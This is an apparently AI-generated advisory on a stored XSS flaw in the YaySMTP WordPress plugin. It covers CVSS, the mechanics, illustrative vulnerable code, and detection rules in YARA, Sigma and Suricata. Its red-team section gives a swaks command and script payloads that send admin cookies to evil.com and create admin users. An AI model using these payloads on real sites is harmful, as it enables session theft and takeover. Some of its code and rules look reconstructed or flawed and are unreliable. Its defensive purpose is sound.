CVE-2025-0916

Executive Summary

CVE-2025-0916 is a Stored Cross-Site Scripting (XSS) vulnerability in the YaySMTP and Email Logs plugin for WordPress, affecting versions 2.4.9 through 2.6.2. The vulnerability arises from insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, such as the email log viewer in the WordPress admin panel. The vulnerability was initially patched in version 2.4.8 using the wp_kses_post() function, but this sanitization was removed in version 2.4.9, reintroducing the flaw. As a WordPress plugin vulnerability, it specifically targets the WordPress ecosystem and does not involve Apache or Nginx.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. The removal of a critical sanitization function (wp_kses_post()) in version 2.4.9 represents a supply chain regression, where a previously fixed vulnerability was reintroduced due to code changes. Users who auto-update to version 2.4.9 or later are exposed to this risk. No official patch is available as of the latest analysis, and the vendor (Yaycommerce) has not released a fixed version.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – Unauthenticated attackers can exploit.
• User Interaction: Required (UI:R) – A user must access the injected page.
• Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Script injection can modify content.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: High. The vulnerability allows unauthenticated attackers to inject persistent scripts that execute in the context of the WordPress admin panel, potentially leading to session hijacking, defacement, or data theft.

Deep Dive & Mechanics

The YaySMTP plugin logs email sending activities, including subject lines, recipients, and other metadata. These logs are stored in the WordPress database and displayed in the admin panel under the "Email Logs" section. The vulnerability exists because the plugin fails to sanitize user-controlled input (e.g., email subject lines) before storing it in the database and later rendering it in the admin interface.

In versions 2.4.9 to 2.6.2, the plugin removed the wp_kses_post() sanitization function that was present in version 2.4.8. This function strips dangerous HTML tags and attributes, preventing XSS. Without it, an attacker can send an email with a malicious subject line containing JavaScript code. When an administrator views the email log, the script executes in their browser, potentially allowing the attacker to steal cookies, perform actions on behalf of the admin, or inject further malicious content.

The attack flow:

1. Attacker sends an email to a WordPress site using the YaySMTP plugin.
2. The email subject line contains a payload like <script>alert('XSS')</script>.
3. The plugin logs the email without sanitizing the subject.
4. An administrator accesses the Email Logs page.
5. The malicious script executes in the admin's browser.

Vulnerable vs. Patched Code

Vulnerable Code (versions 2.4.9 to 2.6.2):

// In the email logging function, no sanitization is applied
$subject = $_POST['subject']; // Directly from user input
$log_entry = array(
    'subject' => $subject,
    // other fields
);
$wpdb->insert($wpdb->prefix . 'yaysmtp_email_logs', $log_entry);

Patched Code (version 2.4.8):

// Sanitization using wp_kses_post()
$subject = wp_kses_post($_POST['subject']); // Strips dangerous tags
$log_entry = array(
    'subject' => $subject,
    // other fields
);
$wpdb->insert($wpdb->prefix . 'yaysmtp_email_logs', $log_entry);

The patched version uses wp_kses_post() to allow only safe HTML tags (e.g., <b>, <i>) and removes scripts, event handlers, and other dangerous elements. The vulnerable version omits this sanitization, allowing arbitrary HTML and JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with YaySMTP plugin version 2.4.9 to 2.6.2 installed and active.
• Ability to send emails to the site (e.g., via contact form or direct SMTP).

Exploitation Steps:

1. Identify the target WordPress site running the vulnerable plugin.
2. Send an email to the site with a malicious subject line. For example, using a simple SMTP client:

   swaks --to admin@targetsite.com --from attacker@evil.com --header "Subject: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>" --server mail.targetsite.com
   

3. Alternatively, if the site has a contact form that uses YaySMTP, submit the form with the malicious subject.
4. Wait for an administrator to view the Email Logs page (typically at /wp-admin/admin.php?page=yaysmtp-email-logs).
5. The injected script executes, sending the admin's cookies to the attacker's server.

Payload Examples:

• Cookie theft: <script>new Image().src='https://evil.com/steal?c='+document.cookie</script>
• Session hijacking: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
• Admin action: <script>fetch('/wp-admin/admin-ajax.php?action=create_admin_user')</script>

Blue Team

Detection:

• Monitor email logs for suspicious subject lines containing <script>, <img onerror=, or other HTML event handlers.
• Use WAF rules to block emails with JavaScript in subject lines.
• Check for unexpected outbound connections from the WordPress admin panel.

Hunting:

• Query the WordPress database for stored XSS payloads:

  SELECT * FROM wp_yaysmtp_email_logs WHERE subject LIKE '%<script>%' OR subject LIKE '%onerror=%';
  

• Review web server logs for requests to /wp-admin/admin.php?page=yaysmtp-email-logs followed by outbound connections to unknown domains.

Mitigation:

• Immediately downgrade to version 2.4.8 or disable the plugin until a permanent patch is released.
• Apply a virtual patch using a WAF to block XSS payloads in email subjects.
• Restrict access to the Email Logs page to trusted administrators only.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests from the WordPress admin IP to unknown domains containing cookie data.
  • Emails with subject lines containing <script>, <iframe>, or event handlers like onerror, onload.
• Host:
  • Database entries in wp_yaysmtp_email_logs with subject containing HTML/JavaScript.
  • Unexpected admin user creation or changes to WordPress settings.
• File:
  • Modified plugin files (e.g., removal of wp_kses_post() in the logging function).
• Logs:
  • Web server logs showing requests to /wp-admin/admin.php?page=yaysmtp-email-logs with unusual referrers.

Detection Engineering

YARA Rule

rule CVE_2025_0916_YaySMTP_XSS {
    meta:
        description = "Detects stored XSS payloads in YaySMTP email logs"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-0916"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in YaySMTP Email Logs
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in YaySMTP email log entries
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        Plugin: YaySMTP
        Subject|contains|any:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in email subjects (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-0916 YaySMTP Stored XSS - Outbound Cookie Theft"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page=yaysmtp-email-logs"; http_uri; content:"cookie"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Downgrade the plugin to version 2.4.8, which includes the wp_kses_post() sanitization.
2. Disable the plugin if downgrading is not possible, and use an alternative SMTP plugin.
3. Apply a virtual patch using a Web Application Firewall (WAF) to block XSS payloads in email subjects.

Long-term Fix:

• The vendor (Yaycommerce) must release a patched version that re-introduces proper input sanitization using wp_kses_post() or similar functions.
• Implement output escaping when rendering email logs in the admin panel (e.g., using esc_html()).

Workarounds:

• Restrict access to the Email Logs page via role-based permissions.
• Monitor email logs for suspicious entries and manually remove them.
• Use a security plugin like Wordfence to add an additional layer of XSS protection.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.